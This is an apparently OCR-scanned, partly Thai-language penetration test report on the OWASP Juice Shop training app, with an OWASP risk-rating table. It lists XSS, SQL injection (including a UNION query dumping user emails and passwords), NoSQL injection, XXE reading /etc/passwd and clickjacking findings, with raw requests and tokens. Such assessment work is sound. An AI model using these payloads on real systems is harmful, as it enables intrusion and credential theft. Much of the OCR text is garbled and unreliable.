LWUANIS sanitize LWi)LUﬁEJUﬂ’ﬁ‘laaﬂ'US%WLFIU'LMLLUadLUUBﬂ“USﬁSU‘VﬂJJlJNﬂﬂ‘US%‘U‘U

@ SaveAs X
« v N &) ThisPC v L | Seatch This PC p
Organize ~

v Folders (7)

Smmispc ¥ 077
% 3D Objects

B 30 Objects
I Desktop :,
1% Documents

1 Desktop

& Downloads -
¥ Music

% Pictures

B Videos
% Windows (C)
wo Local Disk (D)

;‘ . Documents
&

‘h Downloads ;
L et e P BEE

Feoore: SENSEENORN 00 0 0000 ]
Save as type: MD File (md) ey

 Hide Folders
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D 021 | Finding ' Testing for Bypassing Session Management
- Schema (OTG-SESS-001)

1

~ Severity Low Port 3000

| Asﬁet Identification [Téféét .dom‘éin]

‘ Oésériptién - Unencrypted cookie.

- token @130 decode 88NIlA (AUTHN-005). usi password €apeagisy
hash (MD5).

- JWT i3 verify token Falsiaunsn tampering 'ﬁa:ﬂa‘lu payload 1¢ ¥in

Ivensanisaing token Yunias (Invalid Signature)

Recommendation ' i#nluiseen1sidnsia token luseninan1siuds request-response Mg HTTPS

Detail 91984970 Test remember password functionality (OTG-AUTHN-005)

o [/ 022 Finding I Testing for Session Fixation (OTG-SESS-003)

Severity - Port | 3000

Asset Identification = [Target domain]
Description - WmihAuledls sid 10 wdsnntuihnsaendu
‘ 1a (y £ | . @ v - a <
- lifimsdsd Twinduunly eikoocResponse fapsld session ID Wi LEes

ABNI5LaNG session hijacking

. 2 ° & 1§ va ] i ' & o a4 v ow v o v
Recommendation ' vihmsaaaliinisds sid lmsinnasanfinsududuaudnldanu wazesnainszuy

. HTTP/1.1 200 OK
Detall. Content-Type: text/plain; charsec=UTF-8
Content-Length: 103
Access-Control-Allow-Origin: *
Set-Cookie: io=zxt742-vSDeBmY-fAAAB; Path=/; HtcpOnly
Date: Thu, 15 Nov 2018 07:59:22 GNT
Connection: close

G€:0("sid":"zxt74Z-wSDeSmY-£AAAB", "upgrades”: ["websocket"], "pingInterval®:25000, "pingTimeout”: 5000)2:40
ID 023 Finding Testing for Exposed Session Variables (OTG-
SESS-004)

' Severity - Port | 3000

Asset Identification [Target domain]
Description Session ID avgnas POST request luneuriunisdiendu aglud1 cookie mugy
SESS-003 umniin1sdsniou GET request Tuiuriu

Recommendation  wWasulUld POST method Tunisds Session ID ity
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GET /socket,io/?EI0=34transport=pollingEt=NSHFWPWis1d=gyTROFKqCMXCHavYAAAL HTTF/1.1

i Detail Host: 192.168.89,100:3000
1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win€4: x€4: rv:€3.0) Gecko/20100101 Firefox/&€3.0
| Accept: #/+
| Accept-Language: en-US,en:q=0.5

Referer: http://192,1£6.99,100:3000/

Connection: close

Cookie: cookieconsent status=dismiss: continueCode=1Pn)B0ckNEVAT4H)uBhecWIkTe 1wfDUZhNtrCSLQedTEBSKPOGDIXxreQKINL; 10=gyTKQF kqeHXCNavYAAAA
D 024 Finding Testing for Cross Site Request Forgery (OTG-
;

Severity - Port 3000

 Asset i&;e;{i’ﬁéationr [Target domain]
Déscription a1soas URL Tinierdniitewdouseariule muﬁ‘sﬁwﬁﬁaqms
Recommendation  \§af current ikl server uaziasululd POST method lunsiaeusvaru
Detail - 9198997 (OTG-AUTHN-009)

ID ; 025  Finding  Testing for logout functionality (OTG-SESS-
' 006)

Severity - Port . 3000

Assét |dentiﬁcat_ion >;‘ [Target domain]r :

Description - - laifl log out 99nMsIAiA inactivity timeout

- vaaedds Authorization header (Session Token) #ik1uN15 log out Al

v ] A
capture 13 waesds Tun tseuqger TEG Basket 984 Tester@exam.com
- wausing i Seanunsawiniisteyalu Basket ¥4 Tester@exam.com ¢

- uamins log out eenly Lildvinareviewwld Session Token 1An9

83A9 dilavau “UALIAT eripxe

., 2 v ° ¥, o v . g o
Recommendation. = 115 log out 9zABYINAT session token 714 server 14l¥ valid 8n

Detail 11 token v84 Tester 7 logout aanluuda w14 lualle
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ID 026 Finding Testing for Reflected Cross Site Scripting

(OTG-INPVAL-001)

Severity - Port 3000

Asset Identification = [Target domain]

Description - WUfl “Track Orders” page.
- Td script: <script>alert("XSS")</script>

11 URL Windhwuneedndsd

Recommendation - ¥ sanitizing LNBANENUITUNBENDDN

i1 HTML escaping ieutassnuseiiawlmiuidy

Detail

ID 027 Finding Testing for Stored Cross Site Scripting (OTG-
INPVAL-002)

Severity -l;grt 3000

Asset Identification ' [Target domain]

Description - @4 POST request TU#l api/Products
- Tu JSON\" feDouble quote

- ld script aslUlu  “description”: "<script>alert(\"XSS in the

shop\")</script>"

Recommendation - ¥ sanitizing INBARSNYTEUNBE1NDDN
- ¥ HTML escaping ieudasenuseitawlmiuidu

- lioygy1wlv Users didnsiiiudaya product



D

- Severity

,,_i,_ o gk i e

Asset Identtﬂcatlon

o RVl

192.1£8.99,100:3000
Mozilla/5.0 (Vindows NT 10.0:
Gecko/20100101 Firefox/62.0

Host:

User-Agent: Vingd: x€4; rvi€2.0)

Accept-Language: en-US,en;q=0.5

eyJhbGei01JSUZ TN I8 InRScCIETkPXVCIS. eyJdGFOAXN104J 2dWNI ZXNZ T 4w
AZGFOYS16eyJp2CI1E0SWiZW1haWvwiOiJUZXNOZXIAZXhhLSSIb20ILCIwY N2 S
YZC 1€ InNIMDNINZQ3 YTZhZmJ 1 Y2JmOG) IN2 Y2 0GF ) ZmV1ZWULT1iwi YIJLYXRIZEF
01904X7AXOCOXNCOYMAWNZ020D0 L0S4 1 M) kgKZAWOI AW 1w 1dXBKYXRIZEFOT 30
"3 oyM. 1084 1X; wO) AW TnOs ImLhdC 1ENTUOMDESOD T
4M5vi2XhwlioxNTOWMIE: Migx£Q. hLHLGS TTGNWF g2 u-DoB0y IRAYCSADNChOUT
1BLOPACCSCAQV2IyUuhTUTeUJomK27yDZgre_1~-_g eQGLVWélPTe--2yTdelps
8Ec1bZCi3AAE4-GSCpIg4LUFEZVZLI4vEct fAU)-1vNhiNZBVheQEuew OFyLEu
PCX21Ac i
Cookie: cookieconsent_status=dismiss; 1
cont inueCode=MbkEYo5pBInr RAVAmyqgQl ABaHXulhSc3 £ 2uChBOIXv2eKwPDERL |
27NaS¥3Bx: io=ceXKKyaSuuNDykViAAAH i
Connection: close
Content-Length: 81

the

ull))

i
("name”:"ImXSS”, “"description”:"<script>alert( "¥SS in the !
shop' ™) </script>") i

028  Finding

INPVAL-003)

90

X-Powered-By: Express
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
/api/Products/39

application/3son; charset=utf-8

Content-Type: application/json Location:
Referer: htep://192.168.69.100:3000/ Content-Type:
Authorization: Bearer Content-Length:

233

shop\ ") </script>", "updatedAt”: "2018-10
25:44.7382", "createdAt”:
7382%, "price”:null, "image":null, "deletedAt”:n

Testing for HTTP Verb Tampering

ETag: W/ "eS-W5sxgrN+rSSSWXWUDYuRmOOLENFQ"
Date: Mon, 22 Oct 2018 10:25:45 GMT
Connection: close

("status”:"success"”, "data":("1d":39, "name": " Im
XSS", "description”:"<script>alert(\"XSS in

"2018-10-22T1

(0TG-

- 3000

[Target domain]

DELEr E method ansnau Basket auduld (s7uils admin #2e)

i/BasketItems/1l HTTP/1.1
192.168.99.100:3000
|User-Agent: Mozilla/5.0 (Windows NT 10.0;
|Gecko/20100101 Firefox/€2.0
Accept: application/json, text/plain,
Accept-Language: en-US,en;q=0.5
Referer: http://182.168.98.100:3000/
‘ Content-Type: application/json;charset=utf-8
|Authorization: Bearer
eyJhbGe101JSUZIINIISInRScCIETkpXVCIS. eyd zdGFOAXM101J 2dWNI ZXNZ TiviZGFO
YSI€eyJdpZCl60SwiZVihaWviOiJUZXNOZXIAZXhhbS53b201iLCIvTXN2d2SyZCTE IMNIN
|DN1NZQ3YTZhZmd 1 Y2JdmOGJI IN2Y2OGF ) ZmViZWU1ITiwi¥Y3J1YXR1ZEFOI 0 iM]AxOCOXMC
DYNCAVODoxNzoxNS44NIEgKzAWO] AwI iwidXBKYXR1ZEFO1j01iM3 AxOCOXMCOYNCAVODO
| XNzZoxMS44NIEgKZAWOIAVInOs ITmLhdCIEMTUOMDNZ OTAONSwiZXhw 1] oXNTQwMzg3 MDOx
|£Q.CitxHOUWES 28tL DETEPSOcAUiIVA31QY7GMG78-C)3silTbzkn-y-E4_QOnuBXyUE
QBt J.eqm‘l‘:eQ'l!EzS‘Ilenyz 3Sw1Z3-SXoZSeNn-UCmérQD10hsk7Bbgit 7g7ht 7Ry NI
79Pr~-3530woSe2Bl14ypZvI12Kg3N3LM70 Tmd
|Content-Length: O
Cookie: cookieconsent_status=dismiss:
|cont 1nueCDde'lbleOSPSJnrRV4Byqu LABaHXulhSc3t :uanOJ XvieKwPDEz1Z7Nasg
IBaBu s b= TR M GaenAnrTRNALLAD . A=

|Host:

Viné4: x64; rv:€2.0)

i

{

fvun constramts ‘lu'lwmmsmm'l-mu basket 'uaawa\ﬂm

Response

HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Type: application/json;
Content-Length: 30

chaxs

ETag: ¥/"le-/3vWFKUuévRwhSyyyQNEIL/D/

24 Oct 2018 08:
close

Date: Wed, 20:31

Connection:

("status":"success"”, "data”:{})

GMT
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ID 029 Finding Testing for SQL Injection (OTG-INPVAL-005)
Severity - ERE i
Asset Identification [Target domain]
Description WULTBT Login page and Search
Login page
- @iy SQL: SELECT * FROM Users WHERE email = 2)’ AND
password = ‘HASH’
- Inject M8 foo* OR 1=1 -- @130 bypass authentication 1a
Search

- 19 UNION technic fiavayaves Users 8anunvisnin

- ")) AND 1=2 UNION SELECT 1,id,email,password,5,6,7,8 From Users--

2 o o Y a - LY a &, o s ' Vel [ =
Recommendation  vin1snsasan lilmAansinnusnuseRimsdudydnwal hRanududio text

ORAIN

IS ")) AND 1=2 UNION SELECT 1,id,email ,password,5,6,7,8 From Users--

"
[
'
LS
"
»
=
"




ID

92

030 gTesting for NoSQL Injection (OTG-INPVAL- |

£ 005)

!

| Fmding
|

|

Séﬁerﬂy
Asset Identifi catlon

L‘!escriptlon

Recommendatlon

Detail

—_———

BT,

- 031

| 3000
[Target domain]
199 PATCH method Uud7u edit review (comments)
- Inject # operator faxtu comment lévaualagld not equal ($ne).

= {'id"{"Sne":null},"message":"Bad product. Low quality"}

ynsnsesm LildiAanmsdrusneseiawdudydnual iRauuiies text

] A
DYMUU

‘ Request Response

PATCH /rest/product/reviews HITP/ 1.1 S e s
Host: 192.168.98.100:3000 ' Tk AR OO M T s e B
’Usez gt A lioet 1/S5) 8lacowd WY 10.00-R4RHLy wae: (Ey: sheim i foatoammin | mox

Firetox/62,0

Accepts application/dson, text/plain, 4/* ‘ Exprese

Accept-Language: en-US, en; 2

Petarers Betp://1S% . 166,95 10013000/ .. nosnill

Content-Type: application/json:charsec=utf-8 SAMEORIGIN

Authorization: Bearer

eyJhbGe 018Uz 1INL T8 InRScCTE TkpXVCTS . v 2AGFOAXN 104 sdWNS 2%07=1iwiZGFOYS T 6eydp2C 160SWAZVL ... application/json. charset=utf-8
ha¥vi01JUZXNOZXIAZKERLSSIb2 04 LCI WY XN 2AZ Gy 2C 16 Imil3 KDNANZQS YTZhZm) £ Y2ImOG) INEY2 OGF) 2uiv 1 20 2500

ULT4viT3J LYXRIZEFO1 04 M) AXOCOXHED 4.4 g EANO; G0 Wik

COXMCOyOSAWN 0 zMz0 2NC4 LN ggR2AwO3 AWTnDs Im1 hdC 1 EHT 2XhYTHoXNTO l
vnxC:Yx_l:exhn!.nocqxlkﬁ.dt’mze:xl)(l:IS)UIlslTYPsLQnmnlITppnib'ml.PpoDl!selc-x)mlvT!KJ]S Mon, 29 Oct 2018 07:33.21 GMT

yTIVENYZ0AXyoN17LS 1Fvoh_anpLxVzG: 3CEQ: _eGY2N32 15aXRZE .. close

Content-Length: S€

Cookie: cookieconsent status=dismiss:
cont YbIAE) XVDNS G2
1o=Hr_-)x4DVBEX¥O zRAMAC;

coat | ®, "author": "me. u:e-euchejuxce--n op", "pr
Dd\‘l 19 " _4d":"owdsrACdISBogidem™), (" odllt!.
s ! “-sunve H.d?

V11Te (VEvulhb TBALZ LroBaVXpBZTTRKS 5

token= 'thGcJCN!VIIulu;lnns.:cl[lkvacd y 104 14w 2GFO coiL

oSvi AZ b20ALC yZCI€ un—:x?‘m.ullxr'our uv‘ "auth :"Te-ter!exu com”, " 1d":"qdA3kAiz
3 -vvmnnuun.:nxnzzrm;ou: 1N 12EF013 nPxS4KITC”.

01 M) AXOCOXNCOYOS AWN; 08 ImibacTENTY Xhw13oXNTOVODEYO

DES2Q. UvuxC2TK_. AchlUlhO‘n"’:Li!’k:o XRX1ASXIVISLTYPSLOalmiZ7ppalb TOLPRPQULSo Ac~2Pqu.
YT4KJ3SyTIVENTZEAXYONI7LS1PVoh_anp 1x¥zG)hTEA: hIRwed cGYIN)

Connectioni close

Testlng for XML |nject|on (OTG-INPVAL-008)

Seventy

Asset Identlﬂcatuon

: Descrlptlon

Recommendatlon

Detail

 [Target domain] ]
 Frstodivg & (STl Enises) AE Upload
- External entities 920U XML parser 141 access 19 resource i

1912331AlAY URI(Universal Resource Identifier)

- fluszuani server upam external entity file:///etc/passwd eglus

wUs exx

17 :/l Ao ¥ e
W luRsAea parser uazliansisenly External Entities

) XXEtry.xml - Notepad
File Edit Format View Help
k?xml version="1.e" encoding="UTF-8"2>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<IENTITY xxe SYSTEM "file:///etc/passwd” >]><foo>&xxe;</foo>




FID

Severity
Asset ldentiﬁcatlon

Uescription

032 Flnding

93

Testlng for incubated vulnerabilities (OTG-

Port 3000

[Target domain]

Gl
I
} INPVAL-015)
i
|

- File upload $798437n INPVAL-008 (iulasidianunse upload ez pdf

uag xml Feanmmaeu upload Tnditlaily pdf

- Craft POST request swlvanlwa .txt

- WadwsAe annIavila response 204 nduNT wanINENNSa upload ana

Indlagile (script 3@ malicious file)

AR | SN L7 AR e T IEE ) o WY
el Server Lillvisulwawwanadunuiinimualy (pdf)

Request

POST /file-upload HTTP/1.1

Host: 182, 1£8.989.100:3000

User-Agent: Mozilla/5.0 (VWindows NT 10.0; Winé4; x€4: rv:62.0)

Gecko/20100101 Firefox/€2.0

Accept: application/json, text/plain, */*

Accept-Language: en-US,en;q=0.5

Referer: http://192.168.99.100:3000/

Authorization: Bearer

eyJdhbGe101JSUzTINL IS InRScCIEIRpXVCIZ. eyd 2dGFOAXMi0iJzdWNI ZXNZ1ivi ZGFOYS [6eyd
PZCTECSWiZV1haWwiOiJUZXNOZXJAZXhhbSSIb204LCIWYNZAZSyZC TE TniN MDNIN2Q3 YTZhZmd
1Y2ImOGJ INZY20GF) ZmViZWULTiwiY3J1YXR1ZEFO 1304 MIAXOCOXMSOUNS AvNZz00NToON 1 4x KT
gRZAVOIAVTiwidXBKYXR1ZEFDT)0 1M AxOCOXMSOWNS AWN z00NToON i XN TegKzAw0j AuInOs Tml
hdCTEMTUOMTQUNIE4MCwiZKhw1)oXNTQXND IOMTgwEQ. VkN-sVDSq4VQLlHE Tks2 xB ISAaF pRDgxu
EOGZiVBEJZK13TupjtoRhSmPB) TS ze ImNq7ShSzQu2KpbOAJRGNQURVEDIKI9md~ Q2GBdo2p3GF
LHEyTCRH-509tdSpB8S TuéS1AnSYn7cXk9OCSNExBY SrOvFeED iqUS OADRVEHG TS

Content-Type: multipart/form-data;

y 2585322731862
Content-Length: 207
Cookie: cookieconsent status=dismiss:
continueCod P

i0=eO0DCHr YL ZBKICKVAMT
token=eyJhbGci04JSUZIINI I8 InRScCIEIKPXVCIS. . ey zdGFOAXNIOiJ2dWNS ZXN21ivi ZGFOY
S16eyJpZCIlE0SWiZV1halwiOiJUZXNOZXIAZXhhbSSIb201LCIwYXN2d2Sy2ZC 16 TniNIMDNINZQ3Y
TZhZmJ £ ¥2ImOGJ IN2 Y2 OGF ) ZmVAZWUL 1 1wiYIJ1YXR1 ZEFOIJ0 i K] AxOCOXNSOWNSAWNZ00NTo0N
14xNTcgKzAVO) AWl iwidXBRYXR1ZEFOI )01 M) AXOCOXMSOWNSAWN z00MToON i 4x MTcgKzAWO AV
n0s ImlhdC1EMTUOMTQUNIE4MC Wi ZXhw ) oxNTQxND IONTgwEQ. VKN-sVDSq4WQ1HE Tke2 xB ISAaF
PRDgXUEOGZAVEEJIZKL3 Tup)toRhSmPB) TOze Imir? ShS2Qwl KpbOAJRGNQUKWED3 K Smé~_QZGBd
02 p3GFLAYTCRA-509tdSpBS TuES1ANSYn7cXkSOC SNEXBYS: OvFeE0iqUSOADRVEHGTS
Connection: close

1c9T)TeASfwukhDT4CqnALIVXBQzNOXekYSyB;

2595322731862
Content-Disposition: form-data: name="file": filename="Hello.txt"
Content-Type: application/txt

HELLO I'm text

2595322731862~

Response

HTTP/1.1 204 No Content
X-Povered-By: Express
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN

Date: Mon,

Connection:

05 Nov 2018 09:03:09 GMT
close
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lip 033 Finding Analysis of Error Codes (OTG-ERR-001)

|
|
I
i
f

~ Severity Low Port - 3000
- Asset Identification = [Target domain]

SR ". : A 1 ¥ 1 (4 . =
Description Error 'wﬂau‘maLﬁmmmiwqmawa:&a (leak information)

Recommendatlon Aranana Error illaweteyatioendni Uisuazidenon
Detall

Juice Shop (Express ~4.16)

403 Error: Only .md and .pdf files are allowed!

al verify (/juice-shop/routes/fileServer.js:29:12)

al fjuice-shop/routes/fileServer.js:12.7

at Layer handle [as handle_request] (/juice-shop/node _| modules/express/lib/router/layer js:95:5)
at trim_prefix (/m-ahop/node _modules/express/lib/routerfindex js:317:13)

at fjuice-shop/node_modulk fliby j5:284:7

at param (/juice-shop/node_modules/express/lib/router/index js:354:14)

at param (/juice-shop/node_modules/express/flibirouter/index js:365:14)

at Function.process. _pararns (/juice-shop/node_modules/express/lit/router/index.js:410:3)

al next (fui modi p dex.js:275:10)

at flum—smplnode nnduleslserve—ndaxlvndex.p.ﬂ&.&

at FSReqWrap.oncomplete (fs js:171:5)
ID 034 Finding ' Analysis of Stack Traces (OTG-ERR-002)
Severity - Low, | ' Port - 3000

Asset Identif‘ catlon [Target domam]
Descnptnon Error SQL stack trace ({UagvayaveInIs query

Recommendatlon aeruanska Error iiUnwedoyatiosndni wislumisuansli Client iy

v ferror: {})
Detail
sessage: "SQUITE ERROR: SELECTS to the left and right of UNION do not have the same nusber of result columns"
nase: "Sequel izeDatabaseError”
boriginal: {errno: 1, code: "SQUITE_ERROR®, sql: "SELECT * FROM Products WHERE ((name LIKE '%')) UNI® Users--X') AND deletedAt IS MILL) ORDER BY nase” )
»parent: {errno: 1, code: "SQLITE ERROR™, sql: "SELECT * FROM Products WHERE ((name LIKE '$")) UNL.m Users--%') AND deletedAt IS MULL) ORDER BY name”)

sql: "SELECT * FROM Products WHERE ((name LIXE 'X')) UMION Select * From Users--%' OR description LIKE '%')) UNION Select * From Users--%') AND deleteda
stack: "SequelizeDatabaseError: SQLITE_ERROR: SELECTS to the left and right of UNION do not have the same number of result colusnsé  at Query.formater
b _pr : Object

¥ _proto_: Object

ID 035 . Finding Testing for Weak SSL/TSL Ciphers,
Insufficient Transport Layer Protection
' (OTG-CRYPST-001)

Severity - Port 3000

Asset |dentification [Target domain]

'Description 14ifi HTTPS 18 $in159i1 Basic authentication over HTTP na@12@e Credential 9
gn encode aglu JWT usiithivisezlsegh loannlifinig encryption

Recommendation  Implement n5l4 HTTPS, SSL/TLS

Detail laiwu HTTPS nnduvesnislénuiuiae



Severity

Asset Identification

Description

Recommendation

Detail

ID

Severity

Asset |dentification

Description

Recommendation

Detail

95

036 Finding Testing for Sensitive information sent via

unencrypted channels (OTG-CRYPST-003)

[Target domain]

Basic Authentication over HTTP: aghsfilsinaalulude 001 Credential vaglu
Authorization header uag encoded agluguuuu JWT gnawinu HTTP lifinns
encryption lngfianunsn decode oenunls devriidoyadl sensitive oglu
credential Wy id, email, password dugULL‘U‘U hashed) wag header ‘fj Adadu
Token 8néne Sefiondunsieunilelsifinis encryption

N13a4 credentials %39 sensitive information A75@IHUNSIINSHARULAND
aumsly HTTPS

liiwu HTTPS wndauvesnisldnuiiviay

037 Finding Test Business Logic Data Validation (OTG-
BUSLOGIC-001)

Port 3000

[Taréet domain]

;v

- 15 validate email AAYUNTURBNTALIAS email SnTudpslieudn
MEENYIEeL LRy 167 uiausaunlula?  intercept proxy (Burp
suite)  wavdaly W@nesieausule vinlviAa email  Uaoudlaid

@example.com a8

- e liledinnsesivaeunils Server Lay

v
s

faAvile Server finnsmsavaaual email sae Lildnsivasunils client iy

Email address is not valid
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ID 038 Finding Test Ability to Forge Requests (OTG-
' BUSLOGIC-002)

Severity - Port 3000

~ Asset Identification [Target domain]

' Description 9INM3na Password change function T AUTHN-009 ts7ansnsavin FRSC 1t

| fumsinparameter ‘current’ oen wazds Wity Users laquesduiinan
password ¥8suser 19 awgnivAsulumuiisvuaviuil Taduditliensifetu

Recommendation  AasfimsasaaAeUAN current s server wawiUApunsle GET {iu POST method
Tunsds request

Detail 9198997 AUTHN-009

ID 039 | Finding Test Integrity Checks (OTG-BUSLOGIC-003)

Severity - Port 3000

Asset kA:Ie:ntiﬁcatidr-\i [Target domafn]
Desc&ﬁtion - - adeanisudan Quantity vesdudneudde
- fimsds wisu S1uauduAilu tseuger TUP Body, apsudduaududidu 0
fiu AdAau (-)
- wafildde lhvews fuldsimauddnaudie

a o oo d v v 1 Vel
- @w1sn checkout eanludududsdeladnmie uaniinily Server luladinng

v

A519dUAMRAUNATIAY

) % i ' ° . PRy 2 a ° I o
Recommendation  limsA1uau total price 914 Client AITHNTAIUIULALATIVABUAITIUIULAY
39PN Nl Server 6

Detail D 192.168.99.100 3000/ Mp/order Te37adad 1ba) 395 pdf

OWASP Juice Shop - Order Confirmation

Customer: Tester@exam.com

Order #: 2110-37e37a4ad1ba1395

-10x OWASP Juice Shop T-Shirt ea. 22 49 = -224.89999999999998
0Ox Melon Bike (Comeback-Product 2018 Edition) ea. 2999 = 0

Total Price: -224.89999999999998

Thank you for your order!



97

ID i i 040 ‘ Findlng” j Test t:lumb;ar of Times a Function Can be

! ' ; ‘ Used Limits (OTG-BUSLOGIC-005)

|
L

seery o

Asset lder;&ﬁéa-fioh". | [Target domaih]"

Description | - msasreuiuluniin Contract us L@U10NA S ASA wazdl 1 laviay timbu |

CAPTCHA unsliduiuavmsuwuulusie

- CAPTCHA 74 ndulailsign random ¥y udillavduasiuaguds mu
captchald wanainAmautiulanizinzadudeqdmiu captchald i
- 11 Request iﬁﬂﬁmuu Brute force 100 comment

vy ° v o w ' v v aa '
- wanldfe annsavharedesiiavesnisdsrensiuld AC PTCHA Tuitd L

| @ a v = 08 va £ yw
annsavieduduihaunduniduiyedliiae Joihlidans Tuld MAPS |

DEUUUBY
FE =y t AT AW So W T o | 3 o
' Recommendation | Implement N1514 CAPTCHA Tmil##fin1s random generate fanuuazmeuiy
| ; laimasiiiuAn CAPTCHA Miifisunseq
‘ " | otus_|Evor Comment |
T 201 8 g s
BE null 201 8- & se
: 2 null 201 "] E so8
| [ e RS TR O O X e~ BT
4 null 201 7] o s
1. |5 null 201 5] o 508
| 6 null 201 (] @ 508
| 17 il 201 8 @, ss
| |8 nul 201 B @ e
9 nul 201 =) @ so8
a0 o - I

i
!
‘l
f

M
;l
i
i
|
i
i
i

1
ﬂ;
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D 041 Finding Test Defenses Against Application Mis-use
| ' (OTG-BUSLOGIC-007)

 Severity -Port 3000

‘ Aséétnrldehtiﬁcation [Target domain]

' Description

InmswmanEugun vilimunisfieguesnistesiuvesiuil wu Blocked
Request: 500 block illegal activity, 401 No header authorization.
' [ Y ° o
- wamsUasiuAoutnsaniunale manwu
= ? P ‘& - a ' '
- Input validation Wwnvazlifinisnses wieUfiaseAay SQL
injection, XSS, #3BWIUNIINTOIATIUNAT wazlifinisnsivasulaeil
o Y o 3 8 a v & a Y
Server Lag (ainslaglild @exam.com, Wasumduaudud Wudeaule
° v { a - 1 v k ° 1 s v
vilv Total price iWasuuvamu Fslinaslvils Client AuauaAmInlua
@1 Request)
- 14ifl @8 msinahcem tuo keol
1 1 13 v
- menldfimsiu log Yeya

&1 : v & { o v a 4
Recommendation ' Enhance n13tlasiudiu iiunsifiu log msnszvivesteyanudeuly Implement

N3l sanitizing vi3e filter Snusziiee uazfnds Firewall l@Sun1snsadunay

- msteanu
Detail - 9798991ANSNAEeU Authentication, Data validation Ll.asé'.‘u‘]
ID 7 042 'Finding Test Upload of Unexpected File Types

. (OTG-BUSLOGIC-008)

Severity -Port . 3000

Asset Identification [Target domain]
Description 99 NIPLAV-015 isnamnsadwivananalndiiuenviloain pdf xml ¢
Recommendation a7l Server lallyifulwauuanadumuiidmualy (pdf)

Detail 91499970 INPVAL-015



D

Severity

rAs;eut Identification

Description

- Recommendation

 Detail

D

Severity

99

043 ;Finding . ETest Upload of Malicious Files (OTG-
' - BUSLOGIC-009)

[Target domain]

nmseninanlngrinumin compliant (POST /file-upload) tsnawnsadninan
Indvialaadlufle uitsilainsiuin Inddswinanluudaniu ogit path ln viaiFeng
atidls

faeniiils Server Lalsulndumanadun i munly (pdh

914999970 INPVAL-015

044 ' Finding 'Testin‘g for Client Side URL Redirect Files

. (OTG-CLIENT-004)

Asset Identification [Target domaiﬁ]

Description

Recommendation

' Detail

T .
- 199 URL 3N159 redirect 15

h/juice-shop
- N MARTY AIANUIEINSYY rorEwhitelist uiiaiunse redirect 1o
wnld
' v & o y o v o« = 3 .
- adld ndadunnednis ? redirect uazsavnemeiiuneglu whitelist
£ : . irect?to= ‘ ?
m/bkimminich/juice-

- @ redirect UlwuAlg

A 9 Ve 1 v o D | v
Implement msnsasAiiialy redirect TaTu w@dunsvsdulumiudaiouls

a da ¢¥ 4 v
Users ﬂaﬂ'ﬂaqﬂuULwaaaﬂqqﬂﬁuwaﬂwqmaq

@ https.//www.google.com/?https//github.com/bkimminich/juice-shop=

Google
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D 045 ‘Finding  Testing for Clickjacking (OTG-CLIENT-009)

Severity ‘ort 3000

Asset Identiﬁcatibﬁ v [Target domaiﬁj

. 3 5 ° ° d‘ L4 N s o o W a ¥
Description ! - iframe @nnsahluviiiuvasn Wedeu iframe davaon viufudaa3sle

- finsteatunisisentuldly iframe

2 ¢ a o o - )
- X-Frame-Options: SAMEORIGIN awziiuledideaiufiaansasonly
iframe 101
e o - o s ) ¢
- X-Frame-Options §amsigym1nui3aq not compatible NU 1185 resworB

.'I J ' J o ) o v
Hun1qeg Feilnliannsatesiula

S : -. - A T Q; ) ¢ ° Y 2/ >
 Recommendation  LieAMuUaBasiEdan wuznild X-Frame-Options: yneD

Detail - fwgansun iframe Tulgvin Clickjacking

eal >
<eatrctitler < titles«/hesd
“body >

B ch2xClickdacking Demo Page 1 (Transparency)</h2>
frame ide"top™ sron"hitp i/ leng-ca. ayr adi.” widthe"1000" height="550">
«/Aframe >

<ifrase iow"bottom” Sres"RREOL/ /e Ayr.ady” WAdTh"10007 height="550"»
Jifeane>

i ostyle types“text/css™)
otop {position:sbsolute; top:Sepx; left:l8px; opecity:1.0) .
bottos (position:sbsolute; tep:Sépx; left:lpx; ity:0.5)
Jetyles

</bady>
< /Nomd>
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ad a i
AANUIN UV : Qﬁﬂizmumﬂmﬁm

1 L2 A 1 o L o L2 L v o L2 1
nsudsszauaudsadudiudrdglumsanulunistesiu wazliaudfgyse
1 1al cal 1 ° v ;. /. 1
YININATIINUIINYTTAUNTANNIUNYIIA Information Security Department wu31n1s
Ltﬁaszﬁ’ummLﬁmmmma'ammé‘lwmaLmdaﬁmmmns{amsﬂixLﬁu'luamum'miﬁa

fofuudTwetausiundmumamsusauanudsnuduneusiuans

Risk
Severity

Likelihood

Skills required Not Applicable [0]
Security penetration skills [1]
Network and programming skills [3]
Advanced computer user [4]
Some technical skills [6]
no technical skills [9]
Motive Not Applicable [0]
Low or no reward [1]
Possible reward [4]
High reward [9]
Opportunity Full access or expensive resources required [0]
Special access or resources required [4]
Some access or resources required [7]

No access or resources required [9]



Population Size
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Not Applicable [0]
System Administrators [2]
Intranet Users [4]
Partners [5]
Authenticated users [6]

Anonymous Internet users [9]

Easy of Discovery

Ease of Exploit

Awareness

Intrusion Detection

Not Applicable [0]

Practically impossible [1]
Difficult [3]

Easy [7]

Automated tools available [9]
Not Applicable [0]
Theoretical [1]

Difficult [3]

Easy [5]

Automated tools available [9]

Not Applicable [0]

Unknown [1]

Hidden [4]

Obvious [6]

Public knowledge [7]

Not Applicable [0]

Active detection in application [1]
Logged and reviewed [3]

Logged without review [8]

Not logged [9]




Loss of confidentiality

Loss of Integrity

Loss of Availability

Loss of Accountability

103

Not Applicable [0]

Minimal non-sensitive data disclosed [2]
Extensive non-sensitive data disclosed [6]
Extensive critical data disclosed [7]

All data disclosed [9]

Not Applicable [0]

Minimal slightly corrupt data [1]

Minimal seriously corrupt data [3]
Extensive slightly corrupt data [5]
Extensive seriously corrupt data [7]

All data totally corrupt [9]

Not Applicable [0]

Minimal secondary services interrupted [1]
Minimal primary services interrupted [5]
Extensive primary services interrupted [7]
Al services completely lost [9]

Not Applicable [0]

Attack fully traceable to individual [1]
Attack possibly traceable to individual [7]

Attack completely anonymous [9]

Financial damage

Reputation damage

Not Applicable [0]

Damage costs less than to fix the issue [1]
Minor effect on annual profit [3]
Significant effect on annual profit [7]
Backruptcy [9]

Not Applicable [0]

Minimal damage [1]

Loss of major accounts [4]

Loss of goodwill [5]

Brand damage [9]
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Non-Compliance Not Applicable [0]
Minor violation [2]
Clear violation [5]
High profile violation [7]
Privacy violation Not Applicable [0]
